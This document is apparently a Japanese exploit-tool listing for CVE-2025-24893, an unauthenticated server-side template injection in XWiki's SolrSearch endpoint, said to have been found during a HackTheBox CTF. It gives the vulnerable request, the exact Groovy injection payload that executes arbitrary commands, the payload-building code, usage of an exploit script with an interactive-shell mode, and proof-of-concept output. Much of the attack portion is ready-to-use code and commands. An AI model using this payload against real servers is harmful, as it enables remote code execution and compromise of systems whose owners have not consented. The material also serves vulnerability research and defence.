## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIPPSEC-CVE-2025-24893-XWIKI-SSTI-RCE
# CVE-2025-24893 — XWiki SSTI リモートコード実行
## 概要
フィールド| 詳細
---|---
**CVE**| CVE-2025-24893
**ソフトウェア**| XWiki
**脆弱性**| サーバーサイドテンプレートインジェクション (SSTI) → RCE
**認証**| 不要
**CVSS スコア**| 緊急
**背景**| HackTheBox CTF 中に発見
## 説明
XWiki は、ユーザーが指定した入力をサニタイズせずに Groovy テンプレートエンジンでレンダリングする `SolrSearch` エンドポイント (`/xwiki/bin/get/Main/SolrSearch`) を公開しています。認証されていない攻撃者は、`text` クエリパラメータを介して Groovy 式を注入し、基盤となるサーバー上でリモートコード実行を達成できます。
## 技術的詳細
### 脆弱性のあるエンドポイント
root@kitploit:~
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
### インジェクションの仕組み
`text` パラメータは XWiki のマクロコンテキストに直接埋め込まれ、Groovy エンジンによって評価されます。インジェクションは `}}}` を使用してテンプレートコンテキストをエスケープし、`{{async}}{{groovy}}` ブロックを開きます:
root@kitploit:~
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
出力は RSS レスポンスボディに反映され、正規表現で抽出できます。
### ペイロード構造
root@kitploit:~
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
レスポンスは XML/RSS であり、コマンドの出力は `[}}}` と `]</` のマーカーの間に HTML エンコードされた文字として現れます。
## 使い方
root@kitploit:~
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
### 使用例
root@kitploit:~
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
## 依存関係
root@kitploit:~
pip install requests termcolor
## 概念実証
root@kitploit:~
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
## 参照
* XWiki 公式アドバイザリ
* NVD エントリ